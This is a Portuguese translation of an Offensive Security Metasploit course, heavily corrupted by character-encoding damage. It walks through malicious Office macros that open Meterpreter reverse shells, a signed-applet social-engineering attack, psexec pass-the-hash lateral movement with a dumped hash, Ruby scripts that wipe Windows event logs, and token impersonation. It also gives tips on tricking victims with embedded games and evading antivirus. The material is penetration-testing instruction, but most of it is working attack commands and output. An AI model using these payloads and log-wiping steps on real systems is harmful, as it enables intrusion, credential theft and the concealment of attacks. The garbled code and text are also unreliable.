; Offensive %ecurit< =..> ?raduzido por @afael ?orres

888888888888888888888888888888888888888888888888888 #e+ Ser-er Laun .e$5 #el ome to t.e S'L #e+ Atta 15 888888888888888888888888888888888888888888888888888 7339 Teste$ on ;')B ;'HB ;'6 an$ LireLox 7339 Ty0e

8amos dar uma espiada no bro#ser v5timasL

Observe no lado inferior es(uerdo (ue o 9@G foi substitu5da com o site do nosso site malicioso. Agora, a v5tima realiza uma pes(uisa no Ooogle normal. 8amos ver o (ue aconteceL

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

@epare (ue o aviso de segurana est nos pedindo para confiar em um re(uerimento assinado pela !icrosoft *orporation. 3epois (ue o usurio aceita e eAecuta o aplicativo, algumas coisas boas apresentado de volta para n/sL

789 msf 789 789 789 789 789

'x0loit runnin* as +a 1*roun$ Go+5 ex0loit(.an$ler) 2 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Startin* t.e 0ayloa$ .an$ler555 Sen$in* sta*e (H16AA) +ytes) Meter0reter session 1 o0ene$ (1@5!115((51A@:==== 32 1@5!115((51=@:11!4)

msf ex0loit(.an$ler) 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2 exe ute 3f m$5exe 3i "ro ess !(4) reate$5 D.annel 1 reate$5 Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:UEo uments an$ Settin*sUA$ministratorUEes1to02

2ara assistir um v5deo dessa lin a de ata(ue, confira a pgina 3avid Uenned< vimeo a(ui. %E? ainda um trabal o em andamento e novos ata(ues, vai ter liberado dentro do con4unto de ferramentas. %E? utiliza m'ltiplos vetores de ata(ue, a fim de tornar a sua eAperincia de engen aria social um pouco mais fcil.

69Script In0ection Met$o#s


!etasploit tem um par de constru5do em mtodos (ue voc pode usar para infectar documentos do Bord e EAcel com cargas mal&intencionados !etasploit. 8oc tambm pode usar o seu pr/prio pa<loads personalizado. Ele no precisa ser necessariamente uma carga !etasploit. Este mtodo 'til (uando se passa ap/s os ata(ues do lado do cliente e tambm pode ser muito 'til se voc tem (ue ignorar algum tipo de filtragem (ue no permite (ue ar(uivos eAecutveis e s/ permite a passagem de documentos. 2rimeiras coisas em primeiro lugar, vamos criar nossa 8P%cript e criar um ouvinte !etasploit.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,meter0reter,re-erse>t 0 LHOST?1@5!115((51)! L"ORT?6@6@ '<DOE;<G?s.i1ata>*a>nai K 2 0ayloa$5exe Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: %in$o%s,meter0reter,re-erse>t 0 Len*t.: !6@ O0tions: LHOST?1@5!115((51)!BL"ORT?6@6@B'<DOE;<G?s.i1ata>*a>nai rootS+t=:,0entest,ex0loits,frame%or1AT m- 0ayloa$5exe tools, rootS+t=:,0entest,ex0loits,frame%or1AT $ tools, rootS+t=:,0entest,ex0loits,frame%or1A,toolsT ru+y exe!-+a5r+ 0ayloa$5exe 0ayloa$5-+s 789 Don-erte$ 1=(1@ +ytes of 'K' into a JBA s ri0t rootS+t=:,0entest,ex0loits,frame%or1A,toolsT $55 rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li Y *re0 multi,.an$ler 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 ex0loit,multi,.an$ler Generi "ayloa$ Han$ler rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li ex0loit,multi,.an$ler "AMLOAE?%in$o%s,meter0reter,re-erse>t 0 '<DOE;<G?s.i1ata>*a>nai L"ORT?6@6@ LHOST?1@5!115((51)! ' 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555

2ara recapitular tudo o (ue temos realizado at agora, n/s criamos a nossa carga usando o encoder s i$ata[ga[nai polim/rficos, transformou&o em um eAecutvel, se tivesse de volta a ligar&nos a porta ].]. no ost T..=TT.NN.T\=. Em seguida, converter o nosso eAecutvel para eAe=vba.rb 8P%cript usando o 1script1 na seo de ferramentas. Huando este estiver completo, voc ter (ue entrar em uma m(uina Bindo#s (ue tem Bord sobre ele e eAecute os seguintes passosL 0o Bord ou EAcel =..I, v em "erramentas, !acros, Editor do 8isual Pasic, se voc estiver usando o Bord D EAcel =..`, v em EAibir !acros, em seguida, colo(ue um nome como 1moo1 e selecione 1criar1. Esto ir abrir o Editor do 8isual Pasic. *ole a sa5da do pa<load.vbs ar(uivo para o editor, salve&o e digite algum liAo no doc pr/pria palavra. Esto , (uando voc eAecutar o ata(ue do lado do cliente por e&mail este documento do Bord para algum. A fim de manter a suspeita do usurio de baiAa, tente incorporar o c/digo de um dos muitos 4ogos Bord D EAcel (ue esto dispon5veis na Enternet. 3essa forma, o usurio feliz 4ogando o 4ogo en(uanto voc est trabal ando em segundo plano. Esto d&l e algum tempo eAtra para migrar para outro processo, se voc estiver usando !eterpreter como uma carga.

A(ui n/s damos um nome genrico para o macro.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

2rimeiro, teste o documento, abrindo&o, volte para onde n/s temos nossos !etasploit eAploit D multi D ouvinte manipuladorL
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li ex0loit,multi,.an$ler "AMLOAE?%in$o%s,meter0reter,re-erse>t 0 '<DOE;<G?s.i1ata>*a>nai L"ORT?6@6@ LHOST?1@5!115((51)! ' 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) 789 Sen$in* sta*e (!@(6!= +ytes) 789 Meter0reter session 1 o0ene$ (1@5!115((51)!:6@6@ 32 1@5!115((51A=:1)4)) meter0reter 2 exe ute 3f m$5exe 3i "ro ess !1(! reate$5 D.annel 1 reate$5 Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:UEo uments an$ Settin*sUrel112

%ucesso: ?emos o direito !eterpreter s ell para o sistema, (ue abriu o documento, eo mel or de tudo, no ter pego pelo anti&v5rus: 0otaL eAistem vrios mtodos para fazer isso, voc tambm pode usar oL
rootS+t=:5,msf0ayloa$ %in$o%s,meter0reter,re-erse>t 0 LHOST?1@5!115((51)! L"ORT?6@6@ '<DOE;<G?s.i1ata>*a>nai M 2 0ayloa$5exe

A sa5da ser a carga de um script vbs isso, siga os mesmos passos mencionados acima. Algo a ser mencionado (ue as macros so muito desabilitada por padro em ambientes domsticos e ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

corporativos, assim voc teria de seduzi&los para abilitar as macros ou esperana de (ue l es permitam visualizar todo o documento corretamente. Este o lugar onde ter o script embutido em um documento contendo um 4ogo flas embutido vem a cal ar.

MSF Post E7p&oitation


3epois de trabal ar to duro a fim de eAplorar um sistema, o (ue vamos fazer agoraR 0/s vamos (uerer gan ar acesso adicional para as metas de redes internas de giro e cobrindo nossas faiAas como n/s progredimos de sistema para sistema. A pentester tambm pode optar por capturar pacotes para outras v5timas em potencial, editar os seus registos para obter maiores informa6es ou acesso, ou criar um bac$door para manter o acesso ao sistema mais estvel. 9tilizando essas tcnicas vo garantir (ue manter algum n5vel de acesso e pode potencialmente levar a foot olds aprofundar as metas de infra&estrutura confivel.

Metasp&oit as a Pa:&oa#
!ubiA de roomI\=.com lanou um script rub< grande para entregar !etasploit para um sistema 4 comprometido (ue l e permite eAecutar essencialmente !etasploit da m(uina das v5timas e continuar a eAplorao. ) muitas situa6es onde isso seria eAtremamente benfico, o mais importante seria (ue voc est fazendo um pentest e gan ar dentro de acesso com um console !eterpreter. 3e l voc entregar !etasploit como uma carga e continuar a eAplorao da rede interna. 2or isso importanteR 2rincipalmente para stealt como o mais coneA6es voc tiver de sair do per5metro, mais c ances voc tem de ser pego. *om esta carga, (ue permite (ue voc ten a as liga6es originadas e v para a primeira m(uina (ue comprometida. Esso tambm a4uda se voc perder uma ligao (ue voc s/ precisa ter uma m(uina a c amar de volta o (ue vamos mostrar a voc como fazer mais tarde no curso. 2rimeiras coisas primeiramente, voc precisa baiAar o script rub< e coloc&lo na pasta 1plugins1. 3o#nload deplo<msf.rb da(ui ttpLDD###.offensive&securit<.comDmsfDdeplo<msf.rb Em seguida, voc vai precisar baiAar a verso *<g#in do !etasploit "rame#or$. 8oc tem duas op6es, todo o !etasploit "rame#or$ ou simplesmente msfconsole. Os pr/s e contras so a entrega de carga de grande porte do TImegs se voc fizer a verso completa e apenas N megas com apenas msfconsole. "ull !etasploit *<g#inL ttpsL D metasploit.comDframe#or$&I.I&dev.eAe D Apenas msfconsoleL ttpsL D metasploit.comDmini&I.I&dev.eAe D %e voc usar o camin o padro no script rub<, voc dese4a mover o (uadro&I.I&dev.eAe para D tmp em sua m(uina linuA ou especificar o 1&d1 opo com o diret/rio completo de onde voc colocar o ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

instalador do *<g#in. Alm disso, observe (ue o nome padro do ar(uivo eAecutvel o (uadro& I.I&dev.eAe, se voc estiver usando a marca mini&I.I&dev.eAe certeza (ue voc use o K&fK opo e especificar o nome do ar(uivo.

rootS+t=:,0entest,ex0loits,frame%or1A,0lu*insT %*et .tt0:,,%%%5roomA)!5 om,tools,$e0loymsf5r+ 33!@@43@)3!H 1!:1@:@(33 .tt0:,,%%%5roomA)!5 om,tools,$e0loymsf5r+ Resol-in* %%%5roomA)!5 om555 ))514H51@)5! Donne tin* to %%%5roomA)!5 omY))514H51@)5!Y:6@555 onne te$5 HTT" request sentB a%aitin* res0onse555 !@@ OX Len*t.: =!!H (=51X) 7text,0lain9 Sa-in* to: Z$e0loymsf5r+' 1@@C7??????????????????????????????????????29 =B!!H 3353X,s in @5@@=s

!@@43@)3!H 1!:1@:@( (15@H MB,s) 3 Z$e0loymsf5r+' sa-e$ 7=!!H,=!!H9

Agora temos tudo pronto com os nossos mini pronto&I.I&dev.eAe ir. 9ma vez (ue temos um console !eterpreter, temos alguns comandos de edio por isso vamos dar uma ol adin a.
meter0reter 2 run $e0loymsf 3f mini3A5A3$e-5exe 3$ ,tm0, 789 Runnin* Meter0reter MSL0 Ee0loyment S ri0tc55 789 &0loa$in* MSL0 for for $e0loymentc5 789 MSL0 u0loa$e$ as D:EOD&M'a1+t=LODALSa1Tem014!115exe 789 ;nstallin* MSL0ccc55 789 Eone/ 789 ;nstallation Dom0lete/ 789 Runnin* y*%in s.ell .anneliIe$c 789 D.annel 14 reate$ d Ty0e: intera t 14 to 0lay 789 Be %arne$B it ta1es a +it for 0ost setu0 to .a00en 789 an$ you %ill not see a 0rom0tB try 0%$ to .e 1 meter0reter 2 intera t 14 ;ntera tin* %it. .annel 14c 789 Donfi*urin* multi3user 0ermissions for first runc 789 Donfi*urin* t.e initial user en-ironmentc 0%$ ,.ome,+t= ls msf onsole 888 Metas0loit only .as 'K"'R;M'<TAL su00ort for Ru+y 15451 an$ ne%erB t.in*s may +rea1/ 888 "lease re0ort +u*s to msf$e-7at9metas0loit5 om 739 888 739 8 #AR<;<G: <o $ata+ase su00ort: Loa$'rror no su . file to loa$ e a ti-e>re or$ 739 888 Y Y >) Y >> Z>> > >>Y >Z Y >>Y >> Y > Y >>Y Y Y Y >>, Y ( Y>> Y Y Y ( Y Y Y >Y >Y >Y>>>Y>>Y>>B>Y>>>>, 5>>, >Y>>>, >Y>>Y >Y ?7 metas0loit -A5A3r 1 7 ore:A5A a0i:15@9 Q e d?7 AH4 ex0loits d !A1 0ayloa$s Q e d?7 !@ en o$ers d H no0s ?7 1() aux msf 2

?emos agora um (uadro de eAplorao totalmente interativo de trabal o em nossa m(uina e v5timas podem ainda penetrar na rede. Orandes coisas: ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

9m m/dulo (ue no muito con ecida a capacidade de usar 2sEAec no !etasploit. O m/dulo pseAec fre(uentemente utilizado pelos testadores de penetrao para obter acesso a um determinado sistema (ue voc 4 con ece as credenciais. "oi escrito por s<sinternals e foi integrado no (uadro. !uitas vezes, como a penetrao testadores, conseguimos ter acesso a um sistema atravs de alguns eAplorar, use meterpreter para pegar as sen as ou outros mtodos, como fgdump, 2B39!2 ou cac edump e, em seguida, utilizar rainbo#tables rac ar esses valores as . ?emos tambm outras op6es como passar o as atravs de ferramentas como iam.eAe. 9m mtodo com grande pseAec no metasploit (ue permite (ue voc digite a sen a em si, ou voc pode simplesmente especificar apenas os valores de as , sem necessidade de crac$ para obter acesso ao sistema. 8amos pensar seriamente sobre como podemos utilizar este ata(ue ainda mais penetrar em uma rede. 2ermite (ue a primeira palavra (ue comprometa um sistema (ue ten a uma sen a de administrador no sistema, n/s no precisamos de crac$ por(ue pseAec nos permite utilizar apenas os valores de as , (ue conta de administrador a mesma em todas as contas no dom5nio de infra&estrutura. Agora podemos ir de sistema para sistema sem nunca ter de se preocupar com a (uebra de sen a. 9ma coisa importante a nota sobre isto (ue se 0?G! s/ est dispon5vel +por eAemplo, a sen a de TN caracteres ou X atravs da O2O (ue especificam somente resposta 0?G!,, basta substituir o 0O2A%%BO@3 MMMM MMMM com I= .Ks por eAemploL GGGGGGM+%J//R+1)GGGGGGG<8846f7eaee8fb117ad06bdd830b7586c Ro3ld be eplaced b7<

00000000000000000000000000000000<8846f7eaee8fb117ad06bdd830b7586c EGF Mete p ete session 1 opened B19261686576139<443 -= 19261686576131<1042H !ete p ete = 3se p i' Soadin$ e"tension p i'666s3ccess6 !ete p ete = 9as9d3!p Jd!inist ato <500<e52cac67419a9a224a3b108f3fa6cb6d<8846f7eaee8fb1 17ad06bdd830b7586c<<< !ete p ete = Agora (ue temos um meterpreter console e despe4ou os as es, permite conectar&se a uma v5tima diferente usando 2sEAec e apenas os valores de as .

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole > Y Y o B > Y Y >> >Y> , U>Y, U>Y, , U>Y Y

> > > , Y, Y, Y

> >Y> >>B Y, Y , Y

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Y>,Y>>,Y>,U>,Y>, U, Y>>, Y>>,U>>, Y>,Y>, ,Y UY metas0loit -A5A3r 1 7 ore:A5A a0i:15@9 =1! ex0loits 3 !)1 0ayloa$s !1 en o$ers 3 6 no0s 141 aux

?7 Q 33 33?7 Q 33 33?7 ?7

msf 2 sear . 0sexe 789 Sear .in* loa$e$ mo$ules for 0attern '0sexe '555 'x0loits ???????? <ame 3333 %in$o%s,sm+,0sexe %in$o%s,sm+,sm+>relay Ees ri0tion 33333333333 Mi rosoft #in$o%s Aut.enti ate$ &ser Do$e 'xe ution Mi rosoft #in$o%s SMB Relay Do$e 'xe ution

msf 2 use %in$o%s,sm+,0sexe msf ex0loit(0sexe ) 2 set 0ayloa$ %in$o%s,meter0reter,re-erse>t 0 0ayloa$ ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(0sexe ) 2 set LHOST 14!51)65(H51AA LHOST ?2 14!51)65(H51AA msf ex0loit(0sexe ) 2 set L"ORT ==A L"ORT ?2 ==A msf ex0loit(0sexe ) 2 set RHOST 14!51)65(H51A1 RHOST ?2 14!51)65(H51A1 msf ex0loit(0sexe ) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOST R"ORT SMB"ass SMB&ser Durrent Settin* 333333333333333 14!51)65(H51A1 ==( A$ministrator Require$ 33333333 yes yes no yes Ees ri0tion 33333333333 T.e tar*et a$$ress Set t.e SMB ser-i e 0ort T.e 0ass%or$ for t.e s0e ifie$ username T.e username to aut.enti ate as

"ayloa$ o0tions (%in$o%s,meter0reter,re-erse>t 0): <ame 3333 'K;TL&<D LHOST L"ORT Durrent Settin* 333333333333333 t.rea$ 14!51)65(H51AA ==A Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 Automati

msf ex0loit(0sexe ) 2 set SMB"ass e(! a )H=14a4a!!=aA+1@6fAfa) +)$:66=)fHeaee6f+11Ha$@)+$$6A@+H(6) SMB"ass ?2 e(! a )H=14a4a!!=aA+1@6fAfa) +)$:66=)fHeaee6f+11Ha$@)+$$6A@+H(6) msf ex0loit(0sexe ) 2 ex0loit 789 789 789 789 789 789 789 789 789 789 Donne tin* to t.e ser-er555 Starte$ re-erse .an$ler Aut.enti atin* as user 'A$ministrator'555 &0loa$in* 0ayloa$555 Dreate$ UXoJDxDGx5exe555 Bin$in* to A)Ha++61346==3A(f13a$A!346f@A6@@1@@A:!5@Sn a n>n0:14!51)65(H51A17Us- tl9 555 Boun$ to A)Ha++61346==3A(f13a$A!346f@A6@@1@@A:!5@Sn a n>n0:14!51)65(H51A17Us- tl9 555 O+tainin* a ser-i e mana*er .an$le555 Dreatin* a ne% ser-i e (KXqtXinn 3 "MSSeMtO^y$nR"#l")555 Dlosin* ser-i e .an$le555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 789 789 789 789 789

O0enin* ser-i e555 Startin* t.e ser-i e555 Remo-in* t.e ser-i e555 Dlosin* ser-i e .an$le555 Eeletin* UXoJDxDGx5exe555 Sen$in* sta*e (H14A)@ +ytes) Meter0reter session 1 o0ene$ (14!51)65(H51AA:==A 32 14!51)65(H51A1:1@=()

meter0reter 2 exe ute 3f m$5exe 3i 3 3H "ro ess A)6@ reate$5 D.annel 1 reate$5 Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:U#;<EO#SUsystemA!2

Esso (ue : Estamos com Aito se conectar a um computador separado com as mesmas credenciais, sem ter (ue se preocupar rainbo#tables ou (uebrar a sen a. Agradecimentos especiais a * ris Oates para a documentao sobre este assunto.

E(ent Lo' Mana'e)ent


cs vezes mel or no ter suas atividades registradas. %e4a (ual for o motivo, voc pode encontrar uma circunstFncia em (ue voc precisa para limpar as 4anelas de logs de eventos. Ol ando para a fonte do script #inenum, localizado em Kscripts D meterpreter, podemos ver a forma como esta funo funciona.
def cl e'tl$sBsessionH e'tlo$s ? E 4sec3 it74I 4s7ste!4I 4application4I 4di ecto 7 se 'ice4I 4dns se 'e 4I 4file eplication se 'ice4 F p int>stat3sB,&lea in$ #'ent So$sI t9is 5ill lea'e and e'ent 517,H be$in e'tlo$s6eac9 do Ve'lV p int>stat3sB,t&lea in$ t9e P@e'lL #'ent So$,H lo$ ? session6s7s6e'entlo$6openBe'lH lo$6clea end p int>stat3sB,Jlll #'ent So$s 9a'e been clea ed,H esc3e <<#"ception ?= e p int>stat3sB,# o clea in$ #'ent So$< P@e6classL P@eL,H end end

8amos ol ar para um cenrio onde precisamos limpar o log de evento, mas em vez de usar um script premade para fazer o trabal o para n/s, vamos usar o poder do intrprete @ub< em !eterpreter para limpar os logs na mosca. 2rimeiro, vamos ver o nosso Bindo#s 1log de eventos do sistema.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Agora, vamos eAplorar o sistema manualmente e apagar os logs. ?eremos o nosso modelo de comando fora do script #inenum. @unning Klog V client.s<s.eventlog.open +sistemaK, 1ir abrir o log do sistema para n/s.
msf ex0loit(%arft0$>1)(>user) 2 ex0loit 789 789 789 789 789 789 789 789 789 789 789 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Donne tin* to LT" ser-er 1H!51)51@=51=(:!1555 Donne te$ to tar*et LT" ser-er5 Tryin* tar*et #in$o%s !@@@ S"@3S"= 'n*lis.555 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) Sen$in* sta*e (!)(@ +ytes) Slee0in* +efore .an$lin* sta*e555 &0loa$in* ELL (H(H6H +ytes)555 &0loa$ om0lete$5 Meter0reter session ! o0ene$ (1H!51)51@=51A@:==== 32 1H!51)51@=51=(:1!=))

meter0reter 2 ir+ 789 Startin* ;RB s.ell 789 T.e ' lient' -aria+le .ol$s t.e meter0reter 22 lo* ? lient5sys5e-entlo*5o0en('system') ?2 T`T

lient

No% %eV&& see i0 %e can c&ear out t$e &o' .: runnin' V&o'Jc&earVJ

== lo$6clea ?= PQP<0"b6779424 ;client?P=I /t end!ic o>se 'e p otect>ea t9a$ent,?=PI ,5indo5s/b o5se /ie>isco!ponentinstalled,?=PI ,5indo5s/e"ec/ e'e se>o d>tcp,?=PI ,5indo5s/9ttp/apac9e>c93nked,?=PI ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

,5indo5s/i!ap/no'ell>net!ail>append,?=P

8amos ver se funcionou

%ucesso: 0/s poder5amos ter agora mais este, e criar o nosso pr/prio roteiro para a remoo de logs de eventos.
T Dlears #in$o%s '-ent Lo*s e-tlo*s ? 7 'se urity'B 'system'B 'a00li ation'B '$ire tory ser-i e'B '$ns ser-er'B 'file re0li ation ser-i e' 9 0uts ("Dlearin* '-ent Lo*sB t.is %ill lea-e an e-ent (1H") e-tlo*s5ea . $o Ye-lY 0uts ("tDlearin* t.e TWe-l\ '-ent Lo*") lo* ? lient5sys5e-entlo*5o0en(e-l) lo*5 lear en$ 0uts ("All Dlear/ Mou are a <inGa/")

3epois de escrever o script, vamos coloc&lo em D pentestDeAploitsDframe#or$IDscriptsDmeterpreter. Ento, vamos voltar a eAplorar o sistema e ver se funciona.
msf ex0loit(%arft0$>1)(>user) 2 ex0loit 789 789 789 789 789 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Donne tin* to LT" ser-er 1H!51)51@=51=(:!1555 Donne te$ to tar*et LT" ser-er5 Tryin* tar*et #in$o%s !@@@ S"@3S"= 'n*lis.555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 789 789 789 789

Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) Sen$in* sta*e (!)(@ +ytes) Slee0in* +efore .an$lin* sta*e555 &0loa$in* ELL (H(H6H +ytes)555 &0loa$ om0lete$5 Meter0reter session 1 o0ene$ (1H!51)51@=51A@:==== 32 1H!51)51@=51=(:1!(A)

meter0reter 2 run learlo*s Dlearin* '-ent Lo*sB t.is %ill lea-e an e-ent (1H Dlearin* t.e se urity '-ent Lo* Dlearin* t.e system '-ent Lo* Dlearin* t.e a00li ation '-ent Lo* Dlearin* t.e $ire tory ser-i e '-ent Lo* Dlearin* t.e $ns ser-er '-ent Lo* Dlearin* t.e file re0li ation ser-i e '-ent Lo* All Dlear/ Mou are a <inGa/ meter0reter 2 exit

E o evento s/ saiu no log do sistema o NT` (ue o esperado.

Este o poder de !eterpreter. %em fundo muito mais do (ue um c/digo de eAemplo (ue demos a partir de outro script, criamos uma ferramenta 'til para nos a4udar a encobrir as nossas a6es.

Fun %it$ Inco'nito


Encognito foi originalmente uma aplicao stand&alone (ue l e permitiu representar to$ens de usurio (uando sucesso comprometer um sistema. Esta foi integrado no !etasploit e, finalmente, em !eterpreter. 8oc pode ler mais sobre Encognito e como s5mbolo de roubar obras via Gu$e papel Zennings orignial sobre o assunto a(uiL ttpLDDlabs.m#rinfosecurit<.comDpublicationsDm#ri[securit<&implications&of&#indo#s&access& to$ens[=..]&.-&T-.pdf Em uma porca s ell, to$ens so como coo$ies #eb. Eles so uma c ave temporria (ue permite (ue voc acesse o sistema e rede sem ter (ue fornecer credenciais de cada vez (ue acessar um ar(uivo. Encognito eAplora este o coo$ie mesma maneira roubar obras, repetindo a c ave temporria (uando solicitado a autenticar. EAistem dois tipos de to$ens, delegar e representar. 3elegado so criados para 1interactivos1 logons, tais como a eAplorao madeireira dentro da m(uina, ou se conectar a ele via des$top remoto. @epresentar to$ens so para 1no&interactivo1 sess6es, como a colocao de uma unidade de rede, ou um script de logon do dom5nio.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

As outras coisas muito sobre to$ensR Eles persistem at a reinicializao. Huando um usurio efetua logoff, seu delegado to$en relatado como um s5mbolo de representar, mas ainda assim vai manter todos os direitos de um delegado to$en. M 3E*A M servidores de ar(uivos so tesouro virtual cole6es de fic as desde maioria dos servidores de ar(uivo so utilizadas como unidades de rede ligada atravs de scripts de logon do dom5nio Ento, (uando voc tem um console !eterpreter, voc pode fingir to$ens vlidos no sistema e se esse usurio espec5fico sem ter de se preocupar com credenciais ou para (ue o assunto ainda as es. 3urante um teste de penetrao isso especialmente 'til devido ao fato de (ue s5mbolos tm a possibilidade de permitir (ue os locais e D ou aumento de privilgios de dom5nio, permitindo&l e camin os alternativos, com privilgios potencialmente elevado para vrios sistemas. 2rimeiro vamos carregar a nossa eAplorao favorito, ms.][.\`[netapi, com uma carga !eterpreter. 0ote (ue configurar manualmente o alvo, por(ue isto eAplorar particular nem sempre auto&detectar o alvo corretamente. 3efini&lo para um destino con ecido assegurar o direito de endereos de mem/ria so utilizados para fins de eAplorao.
msf 2 use %in$o%s,sm+,ms@6>@)H>neta0i msf ex0loit(ms@6>@)H>neta0i) 2 set RHOST 1@5!115((51=@ RHOST ?2 1@5!115((51=@ msf ex0loit(ms@6>@)H>neta0i) 2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(ms@6>@)H>neta0i) 2 set LHOST 1@5!115((51)! LHOST ?2 1@5!115((51)! msf ex0loit(ms@6>@)H>neta0i) 2 set LA<G en*lis. LA<G ?2 en*lis. msf ex0loit(ms@6>@)H>neta0i) 2 s.o% tar*ets 'x0loit tar*ets: ;$ 33 @ 1 ! A = ( ) H 6 4 1@ 11 <ame 3333 Automati Tar*etin* #in$o%s !@@@ &ni-ersal #in$o%s K" S"@,S"1 &ni-ersal #in$o%s K" S"! 'n*lis. (<K) #in$o%s K" S"A 'n*lis. (<K) #in$o%s !@@A S"@ &ni-ersal #in$o%s !@@A S"1 'n*lis. (<O <K) #in$o%s !@@A S"1 'n*lis. (<K) #in$o%s !@@A S"! 'n*lis. (<O <K) #in$o%s !@@A S"! 'n*lis. (<K) #in$o%s K" S"! Ara+i (<K) #in$o%s K" S"! D.inese 3 Tra$itional , Tai%an (<K)

msf ex0loit(ms@6>@)H>neta0i) 2 set TARG'T 6 tar*et ?2 6 msf ex0loit(ms@6>@)H>neta0i) 2 ex0loit 789 789 789 789 789 789 789 789 789 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Tri**erin* t.e -ulnera+ility555 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) Sen$in* sta*e (!)(@ +ytes) Slee0in* +efore .an$lin* sta*e555 &0loa$in* ELL (H(H6H +ytes)555 &0loa$ om0lete$5 Meter0reter session 1 o0ene$ (1@5!115((51)!:==== 32 1@5!115((51=@:1@!6)

meter0reter 2

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0/s agora temos um console !eterpreter a partir do (ual comearemos nosso ata(ue inc/gnito to$en. *omo priv + as dump e timestomp, e stdapi +upload, do#nload, etc,, inc/gnito um m/dulo meterpreter. 0/s carregamos o m/dulo em nossa sesso meterpreter eAecutando o comando Kincognito uso. Emitir o comando K elpK mostra&nos a variedade de op6es (ue temos para inc/gnito e uma breve descrio de cada opo.
meter0reter 2 use in o*nito Loa$in* extension in o*nito555su meter0reter 2 .el0 ;n o*nito Domman$s ?????????????????? Domman$ 3333333 a$$>*rou0>user a$$>lo al*rou0>user a$$>user im0ersonate>to1en list>to1ens snarf>.as.es meter0reter 2 Ees ri0tion 33333333333 Attem0t to a$$ a user to a *lo+al *rou0 %it. all to1ens Attem0t to a$$ a user to a lo al *rou0 %it. all to1ens Attem0t to a$$ a user %it. all to1ens ;m0ersonate s0e ifie$ to1en List to1ens a-aila+le un$er urrent user ontext Snarf .allen*e,res0onse .as.es for e-ery to1en ess5

O (ue n/s precisamos fazer primeiro identificar se eAistem to$ens vlidos no sistema. 3ependendo do n5vel de acesso (ue oferece o seu eAploit voc est limitado no to$ens (ue so capazes de ver. Huando se trata de roubo de sinal, o sistema est rei. 0o sistema (ue voc est autorizado a ver e utilizar (ual(uer s5mbolo na caiAa. M 3E*A ML administradores no tm acesso a todos os to$ens tambm, mas eles tm a capacidade de migrar para processos do sistema, tornando&os efetivamente %^%?E! e capaz de ver todas as fic as dispon5veis.
meter0reter 2 list>to1ens 3u Eele*ation To1ens A-aila+le ???????????????????????????????????????? <T A&THOR;TMULODAL S'RJ;D' <T A&THOR;TMU<'T#ORX S'RJ;D' <T A&THOR;TMUSMST'M S<'AXS5;<UA$ministrator ;m0ersonation To1ens A-aila+le ???????????????????????????????????????? <T A&THOR;TMUA<O<MMO&S LOGO< meter0reter 2

8emos a(ui (ue um to$en vlido Administrador (ue parece ser de interesse. 2recisamos agora de representar este s5mbolo a fim de assumir as suas prerrogativas. A(uando da emisso do impersonate[to$en KcomandoK, note as duas barras em K%0EAU%.E0 a Administrador 1. Esso necessrio por(ue faz com (ue bugs com apenas uma barra. 0ote tambm (ue, ap/s passar por um to$en com sucesso, verificamos a nossa userE3 atual eAecutando o comando Kgetuid. !ete p ete = i!pe sonate>token /M#JD/68MXXJd!inist ato ECF )ele$ation token a'ailable ECF /3ccessf3ll7 i!pe sonated 3se /M#JD/68MXJd!inist ato !ete p ete = $et3id ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

